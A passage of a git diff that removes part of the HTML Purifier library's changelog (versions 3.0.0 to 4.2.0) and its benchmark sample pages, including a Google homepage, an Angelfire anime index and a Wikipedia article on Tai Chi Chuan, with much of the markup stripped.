  • tags. Thanks pkuliga@gmail.com for reporting and - Neike Taika-Tessaro for debugging assistance. - -4.2.0, released 2010-09-15 -! Added %Core.RemoveProcessingInstructions, which lets you remove - statements. -! Added %URI.DisableResources functionality; the directive originally - did nothing. Thanks David Rothstein for reporting. -! Add documentation about configuration directive types. -! Add %CSS.ForbiddenProperties configuration directive. -! Add %HTML.FlashAllowFullScreen to permit embedded Flash objects - to utilize full-screen mode. -! Add optional support for the file URI scheme, enable - by explicitly setting %URI.AllowedSchemes. -! Add %Core.NormalizeNewlines options to allow turning off newline - normalization. -- Fix improper handling of Internet Explorer conditional comments - by parser. Thanks zmonteca for reporting. -- Fix missing attributes bug when running on Mac Snow Leopard and APC. - Thanks sidepodcast for the fix. -- Warn if an element is allowed, but an attribute it requires is - not allowed. - -4.1.1, released 2010-05-31 -- Fix undefined index warnings in maintenance scripts. -- Fix bug in DirectLex for parsing elements with a single attribute - with entities. -- Rewrite CSS output logic for font-family and url(). Thanks Mario - Heiderich for reporting and Takeshi - Terada for suggesting the fix. -- Emit an error for CollectErrors if a body is extracted -- Fix bug where in background-position for center keyword handling. -- Fix infinite loop when a wrapper element is inserted in a context - where it's not allowed. Thanks Lars for reporting. -- Remove +x bit and shebang from index.php; only supported mode is to - explicitly call it with php. -- Make test script less chatty when log_errors is on. - -4.1.0, released 2010-04-26 -! Support proprietary height attribute on table element -! Support YouTube slideshows that contain /cp/ in their URL. -! Support for data: URI scheme; not enabled by default, add it using - %URI.AllowedSchemes -! Support flashvars when using %HTML.SafeObject and %HTML.SafeEmbed. -! Support for Internet Explorer compatibility with %HTML.SafeObject - using %Output.FlashCompat. -! Handle
        properly, by inserting the necessary
      1. tag. -- Always quote the insides of url(...) in CSS. - -4.0.0, released 2009-07-07 -# APIs for ConfigSchema subsystem have substantially changed. See - docs/dev-config-bcbreaks.txt for details; in essence, anything that - had both namespace and directive now have a single unified key. -# Some configuration directives were renamed, specifically: - %AutoFormatParam.PurifierLinkifyDocURL -> %AutoFormat.PurifierLinkify.DocURL - %FilterParam.ExtractStyleBlocksEscaping -> %Filter.ExtractStyleBlocks.Escaping - %FilterParam.ExtractStyleBlocksScope -> %Filter.ExtractStyleBlocks.Scope - %FilterParam.ExtractStyleBlocksTidyImpl -> %Filter.ExtractStyleBlocks.TidyImpl - As usual, the old directive names will still work, but will throw E_NOTICE - errors. -# The allowed values for class have been relaxed to allow all of CDATA for - doctypes that are not XHTML 1.1 or XHTML 2.0. For old behavior, set - %Attr.ClassUseCDATA to false. -# Instead of appending the content model to an old content model, a blank - element will replace the old content model. You can use #SUPER to get - the old content model. -! More robust support for name="" and id="" -! HTMLPurifier_Config::inherit($config) allows you to inherit one - configuration, and have changes to that configuration be propagated - to all of its children. -! Implement %HTML.Attr.Name.UseCDATA, which relaxes validation rules on - the name attribute when set. Use with care. Thanks Ian Cook for - sponsoring. -! Implement %AutoFormat.RemoveEmpty.RemoveNbsp, which removes empty - tags that contain non-breaking spaces as well other whitespace. You - can also modify which tags should have   maintained with - %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions. -! Implement %Attr.AllowedClasses, which allows administrators to restrict - classes users can use to a specified finite set of classes, and - %Attr.ForbiddenClasses, which is the logical inverse. -! You can now maintain your own configuration schema directories by - creating a config-schema.php file or passing an extra argument. Check - docs/dev-config-schema.html for more details. -! Added HTMLPurifier_Config->serialize() method, which lets you save away - your configuration in a compact serial file, which you can unserialize - and use directly without having to go through the overhead of setup. -- Fix bug where URIDefinition would not get cleared if it's directives got - changed. -- Fix fatal error in HTMLPurifier_Encoder on certain platforms (probably NetBSD 5.0) -- Fix bug in Linkify autoformatter involving http://foo -- Make %URI.Munge not apply to links that have the same host as your host. -- Prevent stray tag from truncating output, if a second - is present. -. Created script maintenance/rename-config.php for renaming a configuration - directive while maintaining its alias. This script does not change source code. -. Implement namespace locking for definition construction, to prevent - bugs where a directive is used for definition construction but is not - used to construct the cache hash. - -3.3.0, released 2009-02-16 -! Implement CSS property 'overflow' when %CSS.AllowTricky is true. -! Implement generic property list classess -- Fix bug with testEncodingSupportsASCII() algorithm when iconv() implementation - does not do the "right thing" with characters not supported in the output - set. -- Spellcheck UTF-8: The Secret To Character Encoding -- Fix improper removal of the contents of elements with only whitespace. Thanks - Eric Wald for reporting. -- Fix broken test suite in versions of PHP without spl_autoload_register() -- Fix degenerate case with YouTube filter involving double hyphens. - Thanks Pierre Attar for reporting. -- Fix YouTube rendering problem on certain versions of Firefox. -- Fix CSSDefinition Printer problems with decorators -- Add text parameter to unit tests, forces text output -. Add verbose mode to command line test runner, use (--verbose) -. Turn on unit tests for UnitConverter -. Fix missing version number in configuration %Attr.DefaultImageAlt (added 3.2.0) -. Fix newline errors that caused spurious failures when CRLF HTML Purifier was - tested on Linux. -. Removed trailing whitespace from all text files, see - remote-trailing-whitespace.php maintenance script. -. Convert configuration to use property list backend. - -3.2.0, released 2008-10-31 -# Using %Core.CollectErrors forces line number/column tracking on, whereas - previously you could theoretically turn it off. -# HTMLPurifier_Injector->notifyEnd() is formally deprecated. Please - use handleEnd() instead. -! %Output.AttrSort for when you need your attributes in alphabetical order to - deal with a bug in FCKEditor. Requested by frank farmer. -! Enable HTML comments when %HTML.Trusted is on. Requested by Waldo Jaquith. -! Proper support for name attribute. It is now allowed and equivalent to the id - attribute in a and img tags, and is only converted to id when %HTML.TidyLevel - is heavy (for all doctypes). -! %AutoFormat.RemoveEmpty to remove some empty tags from documents. Please don't - use on hand-written HTML. -! Add error-cases for unsupported elements in MakeWellFormed. This enables - the strategy to be used, standalone, on untrusted input. -! %Core.AggressivelyFixLt is on by default. This causes more sensible - processing of left angled brackets in smileys and other whatnot. -! Test scripts now have a 'type' parameter, which lets you say 'htmlpurifier', - 'phpt', 'vtest', etc. in order to only execute those tests. This supercedes - the --only-phpt parameter, although for backwards-compatibility the flag - will still work. -! AutoParagraph auto-formatter will now preserve double-newlines upon output. - Users who are not performing inbound filtering, this may seem a little - useless, but as a bonus, the test suite and handling of edge cases is also - improved. -! Experimental implementation of forms for %HTML.Trusted -! Track column numbers when maintain line numbers is on -! Proprietary 'background' attribute on table-related elements converted into - corresponding CSS. Thanks Fusemail for sponsoring this feature! -! Add forward(), forwardUntilEndToken(), backward() and current() to Injector - supertype. -! HTMLPurifier_Injector->handleEnd() permits modification to end tokens. The - time of operation varies slightly from notifyEnd() as *all* end tokens are - processed by the injector before they are subject to the well-formedness rules. -! %Attr.DefaultImageAlt allows overriding default behavior of setting alt to - basename of image when not present. -! %AutoFormat.DisplayLinkURI neuters tags into plain text URLs. -- Fix two bugs in %URI.MakeAbsolute; one involving empty paths in base URLs, - the other involving an undefined $is_folder error. -- Throw error when %Core.Encoding is set to a spurious value. Previously, - this errored silently and returned false. -- Redirected stderr to stdout for flush error output. -- %URI.DisableExternal will now use the host in %URI.Base if %URI.Host is not - available. -- Do not re-munge URL if the output URL has the same host as the input URL. - Requested by Chris. -- Fix error in documentation regarding %Filter.ExtractStyleBlocks -- Prevent ]]> from triggering %Core.ConvertDocumentToFragment -- Fix bug with inline elements in blockquotes conflicting with strict doctype -- Detect if HTML support is disabled for DOM by checking for loadHTML() method. -- Fix bug where dots and double-dots in absolute URLs without hostname were - not collapsed by URIFilter_MakeAbsolute. -- Fix bug with anonymous modules operating on SafeEmbed or SafeObject elements - by reordering their addition. -- Will now throw exception on many error conditions during lexer creation; also - throw an exception when MaintainLineNumbers is true, but a non-tracksLineNumbers - is being used. -- Detect if domxml extension is loaded, and use DirectLEx accordingly. -- Improve handling of big numbers with floating point arithmetic in UnitConverter. - Reported by David Morton. -. Strategy_MakeWellFormed now operates in-place, saving memory and allowing - for more interesting filter-backtracking -. New HTMLPurifier_Injector->rewind() functionality, allows injectors to rewind - index to reprocess tokens. -. StringHashParser now allows for multiline sections with "empty" content; - previously the section would remain undefined. -. Added --quick option to multitest.php, which tests only the most recent - release for each series. -. Added --distro option to multitest.php, which accepts either 'normal' or - 'standalone'. This supercedes --exclude-normal and --exclude-standalone - -3.1.1, released 2008-06-19 -# %URI.Munge now, by default, does not munge resources (for example, ) - In order to enable this again, please set %URI.MungeResources to true. -! More robust imagecrash protection with height/width CSS with %CSS.MaxImgLength, - and height/width HTML with %HTML.MaxImgLength. -! %URI.MungeSecretKey for secure URI munging. Thanks Chris - for sponsoring this feature. Check out the corresponding documentation - for details. (Att Nightly testers: The API for this feature changed before - the general release. Namely, rename your directives %URI.SecureMungeSecretKey => - %URI.MungeSecretKey and and %URI.SecureMunge => %URI.Munge) -! Implemented post URI filtering. Set member variable $post to true to set - a URIFilter as such. -! Allow modules to define injectors via $info_injector. Injectors are - automatically disabled if injector's needed elements are not found. -! Support for "safe" objects added, use %HTML.SafeObject and %HTML.SafeEmbed. - Thanks Chris for sponsoring. If you've been using ad hoc code from the - forums, PLEASE use this instead. -! Added substitutions for %e, %n, %a and %p in %URI.Munge (in order, - embedded, tag name, attribute name, CSS property name). See %URI.Munge - for more details. Requested by Jochem Blok. -- Disable percent height/width attributes for img. -- AttrValidator operations are now atomic; updates to attributes are not - manifest in token until end of operations. This prevents naughty internal - code from directly modifying CurrentToken when they're not supposed to. - This semantics change was requested by frank farmer. -- Percent encoding checks enabled for URI query and fragment -- Fix stray backslashes in font-family; CSS Unicode character escapes are - now properly resolved (although *only* in font-family). Thanks Takeshi Terada - for reporting. -- Improve parseCDATA algorithm to take into account newline normalization -- Account for browser confusion between Yen character and backslash in - Shift_JIS encoding. This fix generalizes to any other encoding which is not - a strict superset of printable ASCII. Thanks Takeshi Terada for reporting. -- Fix missing configuration parameter in Generator calls. Thanks vs for the - partial patch. -- Improved adherence to Unicode by checking for non-character codepoints. - Thanks Geoffrey Sneddon for reporting. This may result in degraded - performance for extremely large inputs. -- Allow CSS property-value pair ''text-decoration: none''. Thanks Jochem Blok - for reporting. -. Added HTMLPurifier_UnitConverter and HTMLPurifier_Length for convenient - handling of CSS-style lengths. HTMLPurifier_AttrDef_CSS_Length now uses - this class. -. API of HTMLPurifier_AttrDef_CSS_Length changed from __construct($disable_negative) - to __construct($min, $max). __construct(true) is equivalent to - __construct('0'). -. Added HTMLPurifier_AttrDef_Switch class -. Rename HTMLPurifier_HTMLModule_Tidy->construct() to setup() and bubble method - up inheritance hierarchy to HTMLPurifier_HTMLModule. All HTMLModules - get this called with the configuration object. All modules now - use this rather than __construct(), although legacy code using constructors - will still work--the new format, however, lets modules access the - configuration object for HTML namespace dependant tweaks. -. AttrDef_HTML_Pixels now takes a single construction parameter, pixels. -. ConfigSchema data-structure heavily optimized; on average it uses a third - the memory it did previously. The interface has changed accordingly, - consult changes to HTMLPurifier_Config for details. -. Variable parsing types now are magic integers instead of strings -. Added benchmark for ConfigSchema -. HTMLPurifier_Generator requires $config and $context parameters. If you - don't know what they should be, use HTMLPurifier_Config::createDefault() - and new HTMLPurifier_Context(). -. Printers now properly distinguish between output configuration, and - target configuration. This is not applicable to scripts using - the Printers for HTML Purifier related tasks. -. HTML/CSS Printers must be primed with prepareGenerator($gen_config), otherwise - fatal errors will ensue. -. URIFilter->prepare can return false in order to abort loading of the filter -. Factory for AttrDef_URI implemented, URI#embedded to indicate URI that embeds - an external resource. -. %URI.Munge functionality factored out into a post-filter class. -. Added CurrentCSSProperty context variable during CSS validation - -3.1.0, released 2008-05-18 -# Unnecessary references to objects (vestiges of PHP4) removed from method - signatures. The following methods do not need references when assigning from - them and will result in E_STRICT errors if you try: - + HTMLPurifier_Config->get*Definition() [* = HTML, CSS] - + HTMLPurifier_ConfigSchema::instance() - + HTMLPurifier_DefinitionCacheFactory::instance() - + HTMLPurifier_DefinitionCacheFactory->create() - + HTMLPurifier_DoctypeRegistry->register() - + HTMLPurifier_DoctypeRegistry->get() - + HTMLPurifier_HTMLModule->addElement() - + HTMLPurifier_HTMLModule->addBlankElement() - + HTMLPurifier_LanguageFactory::instance() -# Printer_ConfigForm's get*() functions were static-ified -# %HTML.ForbiddenAttributes requires attribute declarations to be in the - form of tag@attr, NOT tag.attr (which will throw an error and won't do - anything). This is for forwards compatibility with XML; you'd do best - to migrate an %HTML.AllowedAttributes directives to this syntax too. -! Allow index to be false for config from form creation -! Added HTMLPurifier::VERSION constant -! Commas, not dashes, used for serializer IDs. This change is forwards-compatible - and allows for version numbers like "3.1.0-dev". -! %HTML.Allowed deals gracefully with whitespace anywhere, anytime! -! HTML Purifier's URI handling is a lot more robust, with much stricter - validation checks and better percent encoding handling. Thanks Gareth Heyes - for indicating security vulnerabilities from lax percent encoding. -! Bootstrap autoloader deals more robustly with classes that don't exist, - preventing class_exists($class, true) from barfing. -- InterchangeBuilder now alphabetizes its lists -- Validation error in configdoc output fixed -- Iconv and other encoding errors muted even with custom error handlers that - do not honor error_reporting -- Add protection against imagecrash attack with CSS height/width -- HTMLPurifier::instance() created for consistency, is equivalent to getInstance() -- Fixed and revamped broken ConfigForm smoketest -- Bug with bool/null fields in Printer_ConfigForm fixed -- Bug with global forbidden attributes fixed -- Improved error messages for allowed and forbidden HTML elements and attributes -- Missing (or null) in configdoc documentation restored -- If DOM throws and exception during parsing with PH5P (occurs in newer versions - of DOM), HTML Purifier punts to DirectLex -- Fatal error with unserialization of ScriptRequired -- Created directories are now chmod'ed properly -- Fixed bug with fallback languages in LanguageFactory -- Standalone testing setup properly with autoload -. Out-of-date documentation revised -. UTF-8 encoding check optimization as suggested by Diego -. HTMLPurifier_Error removed in favor of exceptions -. More copy() function removed; should use clone instead -. More extensive unit tests for HTMLDefinition -. assertPurification moved to central harness -. HTMLPurifier_Generator accepts $config and $context parameters during - instantiation, not runtime -. Double-quotes outside of attribute values are now unescaped - -3.1.0rc1, released 2008-04-22 -# Autoload support added. Internal require_once's removed in favor of an - explicit require list or autoloading. To use HTML Purifier, - you must now either use HTMLPurifier.auto.php - or HTMLPurifier.includes.php; setting the include path and including - HTMLPurifier.php is insufficient--in such cases include HTMLPurifier.autoload.php - as well to register our autoload handler (or modify your autoload function - to check HTMLPurifier_Bootstrap::getPath($class)). You can also use - HTMLPurifier.safe-includes.php for a less performance friendly but more - user-friendly library load. -# HTMLPurifier_ConfigSchema static functions are officially deprecated. Schema - information is stored in the ConfigSchema directory, and the - maintenance/generate-schema-cache.php generates the schema.ser file, which - is now instantiated. Support for userland schema changes coming soon! -# HTMLPurifier_Config will now throw E_USER_NOTICE when you use a directive - alias; to get rid of these errors just modify your configuration to use - the new directive name. -# HTMLPurifier->addFilter is deprecated; built-in filters can now be - enabled using %Filter.$filter_name or by setting your own filters using - %Filter.Custom -# Directive-level safety properties superceded in favor of module-level - safety. Internal method HTMLModule->addElement() has changed, although - the externally visible HTMLDefinition->addElement has *not* changed. -! Extra utility classes for testing and non-library operations can - be found in extras/. Specifically, these are FSTools and ConfigDoc. - You may find a use for these in your own project, but right now they - are highly experimental and volatile. -! Integration with PHPT allows for automated smoketests -! Limited support for proprietary HTML elements, namely , sponsored - by Chris. You can enable them with %HTML.Proprietary if your client - demands them. -! Support for !important CSS cascade modifier. By default, this will be stripped - from CSS, but you can enable it using %CSS.AllowImportant -! Support for display and visibility CSS properties added, set %CSS.AllowTricky - to true to use them. -! HTML Purifier now has its own Exception hierarchy under HTMLPurifier_Exception. - Developer error (not enduser error) can cause these to be triggered. -! Experimental kses() wrapper introduced with HTMLPurifier.kses.php -! Finally %CSS.AllowedProperties for tweaking allowed CSS properties without - mucking around with HTMLPurifier_CSSDefinition -! ConfigDoc output has been enhanced with version and deprecation info. -! %HTML.ForbiddenAttributes and %HTML.ForbiddenElements implemented. -- Autoclose now operates iteratively, i.e.
        now has - both span tags closed. -- Various HTMLPurifier_Config convenience functions now accept another parameter - $schema which defines what HTMLPurifier_ConfigSchema to use besides the - global default. -- Fix bug with trusted script handling in libxml versions later than 2.6.28. -- Fix bug in ExtractStyleBlocks with comments in style tags -- Fix bug in comment parsing for DirectLex -- Flush output now displayed when in command line mode for unit tester -- Fix bug with rgb(0, 1, 2) color syntax with spaces inside shorthand syntax -- HTMLPurifier_HTMLDefinition->addAttribute can now be called multiple times - on the same element without emitting errors. -- Fixed fatal error in PH5P lexer with invalid tag names -. Plugins now get their own changelogs according to project conventions. -. Convert tokens to use instanceof, reducing memory footprint and - improving comparison speed. -. Dry runs now supported in SimpleTest; testing facilities improved -. Bootstrap class added for handling autoloading functionality -. Implemented recursive glob at FSTools->globr -. ConfigSchema now has instance methods for all corresponding define* - static methods. -. A couple of new historical maintenance scripts were added. -. HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php split into two files -. tests/index.php can now be run from any directory. -. HTMLPurifier_Token subclasses split into seperate files -. HTMLPURIFIER_PREFIX now is defined in Bootstrap.php, NOT HTMLPurifier.php -. HTMLPURIFIER_PREFIX can now be defined outside of HTML Purifier -. New --php=php flag added, allows PHP executable to be specified (command - line only!) -. htmlpurifier_add_test() preferred method to translate test files in to - classes, because it handles PHPT files too. -. Debugger class is deprecated and will be removed soon. -. Command line argument parsing for testing scripts revamped, now --opt value - format is supported. -. Smoketests now cleanup after magic quotes -. Generator now can output comments (however, comments are still stripped - from HTML Purifier output) -. HTMLPurifier_ConfigSchema->validate() deprecated in favor of - HTMLPurifier_VarParser->parse() -. Integers auto-cast into float type by VarParser. -. HTMLPURIFIER_STRICT removed; no validation is performed on runtime, only - during cache generation -. Reordered script calls in maintenance/flush.php -. Command line scripts now honor exit codes -. When --flush fails in unit testers, abort tests and print message -. Improved documentation in docs/dev-flush.html about the maintenance scripts -. copy() methods removed in favor of clone keyword - -3.0.0, released 2008-01-06 -# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained - until PHP 4 is completely deprecated, but no new features will be added - to it. - + Visibility declarations added - + Constructor methods renamed to __construct() - + PHP4 reference cruft removed (in progress) -! CSS properties are now case-insensitive -! DefinitionCacheFactory now can register new implementations -! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting - -
        edwardzyang@gmail.com | Personalized Home | Search History | My Account | Sign out
        Google

        -
        Web    Images    Groups    News    Froogle    Local    more »
         
          Advanced Search
          Preferences
          Language Tools


        Advertising Programs - Business Solutions - About Google

        ©2006 Google

        - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html b/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html deleted file mode 100644 index 9e9f1a361..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/3.html +++ /dev/null @@ -1,131 +0,0 @@ - - -Anime Digi-Lib Index - - - -
        - -
        - - - - - - - - - - - - - - - - « - - Previous | - Top 100 | - Next - - - » - - - - -
        - - - - - - - - - - -
         Search:The WebAngelfire    Planet
        -
        - Edit your Site show site directoryBrowse Sites hosted by angelfire
          - Vonagehosted by angelfire
        -
        -
        - - -
        - - - -
        - - - - - -
        -

        May 1, 2000

        -

        Pop Culture

        -

        by. H. Finkelstein

        - -
        -

        Welcome to the Anime Digi-Lib, a virtual index to anime on the - internet. This site strives to house a comprehensive index to both personal - and commercial websites and provides reviews to these sites. We hope to - be a gateway for people who've never imagined they'd ever be interested - in Japanese Animation.

        - - - - - - -
        -

         

        -

         

        - -
        - - - - - - - - - - - - - - - - -
        Search term:
        Case-sensitive - -yes
        exactfuzzy
        -
        - - -
        - - - - - -
        What is better, subtitled or dubbed anime?
        Subtitled
        Current results
        Free - Web Polls
        - -
        - - - - - diff --git a/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html b/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html deleted file mode 100644 index 27cea255f..000000000 --- a/classes/security/htmlpurifier/benchmarks/samples/Lexer/4.html +++ /dev/null @@ -1,543 +0,0 @@ - - - - - - - - Tai Chi Chuan - Wikipedia, the free encyclopedia - - - - - - - - - - - - - - - - - -
        -
        -
        - - -
        Registration for Wikimania 2006 is open.   
        -

        Tai Chi Chuan

        -
        -

        From Wikipedia, the free encyclopedia

        - -
        -
        Jump to: navigation, search
        - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        ???
        - -
        -
        -
        Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918 -
        -
        Enlarge
        -Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918
        -
        -
        -
        -
        Chinese Name
        Hanyu PinyinTijqun
        Wade-GilesT'ai4 Chi2 Ch'an2
        Simplified Chinese???
        Traditional Chinese???
        Cantonesetaai3 gik6 kyun4
        Japanese Hiragana???????
        Korean???
        VietnameseThi C?c Quy?n
        -

        Tai Chi Chuan, T'ai Chi Ch'an or Taijiquan (Traditional Chinese: ???; Simplified Chinese: ???; pinyin: Tijqun; literally "supreme ultimate fist"), commonly known as Tai Chi, T'ai Chi, or Taiji, is an internal Chinese martial art. There are different styles of T'ai Chi Ch'an, although most agree they are all based on the system originally taught by the Chen family to the Yang family starting in 1820. It is often promoted and practiced as a martial arts therapy for the purposes of health and longevity, (some recent medical studies support its effectiveness). T'ai Chi Ch'an is considered a soft style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the hard martial art styles which use a degree of tension in the muscles.

        - -

        Variations of T'ai Chi Ch'an's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.

        - - - - -
        -
        -

        Contents

        -
        - -
        -

        - - -

        -

        Overview

        -

        Historically, T'ai Chi Ch'an has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and health maintenance. Some call it a form of moving meditation, and T'ai Chi theory and practice evolved in agreement with many of the principles of traditional Chinese medicine. Besides general health benefits and stress management attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.

        -

        T'ai Chi Ch'an as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (breath, body heat, blood, lymph, peristalsis, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.

        - -

        The study of T'ai Chi Ch'an involves three primary subjects:

        -
          -
        • Health - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.
        • -
        • Meditation - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or homeostasis) and in order to use it as a soft style martial art.
        • -
        • Martial art - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'an.
        • - -
        -

        In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.

        -

        The Mandarin term "T'ai Chi Ch'an" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as forms, and two person routines, known as pushing hands, as well as acupressure-related manipulations taught by traditional schools. T'ai Chi Ch'an is seen by many of its schools as a variety of Taoism, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.

        -

        Teachers say the study of T'ai Chi Ch'an is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of physics as experienced by two (or more) bodies in combat. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.

        - -

        Wu Chien-ch'an, co-founder of the Wu family style, described the name T'ai Chi Ch'an this way at the beginning of the 20th century:

        -
        -
        "Various people have offered different explanations for the name T'ai Chi Ch'uan. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. T'ai Chi comes about through the balance of yin and yang. In terms of the art of attack and defense then, in the context of the changes of full and empty, one is constantly internally latent, not outwardly expressive, as if the yin and yang of T'ai Chi have not yet divided apart.'
        - -
        Others say: 'Every movement of T'ai Chi Ch'uan is based on circles, just like the shape of a T'ai Chi symbol. Therefore, it is called T'ai Chi Ch'uan.' Both explanations are quite reasonable, especially the second, which is more complete."
        -
        - -

        - -

        Training and techniques

        -
        -
        The T'ai Chi Symbol or T'ai Chi T'u (Taijitu) -
        -
        Enlarge
        -The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)
        -
        -
        -

        As the name T'ai Chi Ch'an is held to be derived from the T'ai Chi symbol, the taijitu or t'ai chi t'u (???, pinyin tijt), commonly known in the West as the "yin-yang" diagram, T'ai Chi Ch'an techniques are said therefore to physically and energetically balance yin (receptive) and yang (active) principles: "From ultimate softness comes ultimate hardness."

        - -

        The core training involves two primary features: the first being the solo form or ch'an, a slow sequence of movements which emphasize a straight spine, relaxed breathing and a natural range of motion; the second being different styles of pushing hands or t'ui shou (??) for training "stickiness" and sensitivity in the reflexes through various motions from the forms in concert with a training partner in order to learn leverage, timing, coordination and positioning when interacting with another. Pushing hands is seen as necessary not only for training the self-defense skills of a soft style such as T'ai Chi by demonstrating the forms' movement principles experientially, but also it is said to improve upon the level of conditioning provided by practice of the solo forms by increasing the workload on students while they practice those movement principles.

        -

        The solo form should take the students through a complete, natural, range of motion over their centre of gravity. Accurate, repeated practice of the solo routine is said to retrain posture, encourage circulation throughout the students' bodies, maintain flexibility through their joints and further familiarize students with the martial application sequences implied by the forms. The major traditional styles of T'ai Chi have forms which differ somewhat cosmetically, but there are also many obvious similarities which point to their common origin. The solo forms, empty-hand and weapon, are catalogues of movements that are practised individually in pushing hands and martial application scenarios to prepare students for self-defence training. In most traditional schools different variations of the solo forms can be practiced; fast/slow, small circle/large circle, square/round (which are different expressions of leverage through the joints), low sitting/high sitting (the degree to which weight-bearing knees are kept bent throughout the form), for example.

        -

        In a fight, if one uses hardness to resist violent force then both sides are certain to be injured, at least to some degree. Such injury, according to T'ai Chi theory, is a natural consequence of meeting brute force with brute force. The collision of two like forces, yang with yang, is known as "double-weighted" in T'ai Chi terminology. Instead, students are taught not to fight or resist an incoming force, but to meet it in softness and "stick" to it, following its motion while remaining in physical contact until the incoming force of attack exhausts itself or can be safely redirected, the result of meeting yang with yin. Done correctly, achieving this yin/yang or yang/yin balance in combat (and, by extension, other areas of one's life) is known as being "single-weighted" and is a primary goal of T'ai Chi Ch'an training. Lao Tzu provided the archetype for this in the Tao Te Ching when he wrote, "The soft and the pliable will defeat the hard and strong." This soft "neutralization" of an attack can be accomplished very quickly in an actual fight by an adept practitioner. A T'ai Chi student has to be well conditioned by many years of disciplined training; stable, sensitive and elastic mentally and physically in order to realize this ability, however.

        - -

        Other training exercises include:

        -
          -
        • Weapons training and fencing applications employing the straight sword known as the jian or chien or gim (jin ?), a heavier curved sabre, sometimes called a broadsword or tao (dao ?, which is actually considered a big knife), folding fan, staff (?), 7 foot (2 m) spear and 13 foot (4 m) lance (both called qiang ?). More exotic weapons still used by some traditional styles are the large Da Dao or Ta Tao (??) sabre, halberd (ji ?), cane, rope-dart, three sectional staff, lasso, whip, chain whip and steel whip.
        • - -
        • Two-person tournament sparring (as part of push hands competitions and/or san shou ??);
        • -
        • Breathing exercises; nei kung (?? nigong) or, more commonly, ch'i kung (?? qgong) to develop ch'i (? q) or "breath energy" in coordination with physical movement and post standing or combinations of the two. These were formerly taught only to disciples as a separate, complementary training system. In the last 50 years they have become more well known to the general public.
        • - -
        -

        T'ai Chi's martial aspect relies on sensitivity to the opponent's movements and centre of gravity dictating appropriate responses. Effectively affecting or "capturing" the opponent's centre of gravity immediately upon contact is trained as the primary goal of the martial T'ai Chi student, and from there all other technique can follow with seeming effortlessness. The alert calmness required to achieve the necessary sensitivity is acquired over thousands of hours of first yin (slow, repetitive, meditative, low impact) and then later adding yang ("realistic," active, fast, high impact) martial training; forms, pushing hands and sparring. T'ai Chi Ch'an trains in three basic ranges, close, medium and long, and then everything in between. Pushes and open hand strikes are more common than punches, and kicks are usually to the legs and lower torso, never higher than the hip in most styles. The fingers, fists, palms, sides of the hands, wrists, forearms, elbows, shoulders, back, hips, knees and feet are commonly used to strike, with strikes to the eyes, throat, heart, groin and other acupressure points trained by advanced students. There is an extensive repertoire of joint traps, locks and breaks (chin na), particularly applied to lock up or break an opponent's elbows, wrists, fingers, ankles, back or neck. Most T'ai Chi teachers expect their students to thoroughly learn defensive or neutralizing skills first, and a student will have to demonstrate proficiency with them before offensive skills will be extensively trained. There is also an emphasis in the traditional schools on kind-heartedness. One is expected to show mercy to one's opponents, as instanced by a poem preserved in some of the T'ai Chi families said to be derived from the Shaolin temple:

        -
        -
        "I would rather maim than kill
        - -
        Hurt than maim
        -
        Intimidate than hurt
        -
        Avoid than intimidate."
        -
        -
        -
        An outdoor Chen style class in Beijing -
        -
        Enlarge
        -An outdoor Chen style class in Beijing
        -
        -
        - - -

        -

        Styles and history

        -

        There are five major styles of T'ai Chi Ch'an, each named after the Chinese family that teaches (or taught) it:

        - -

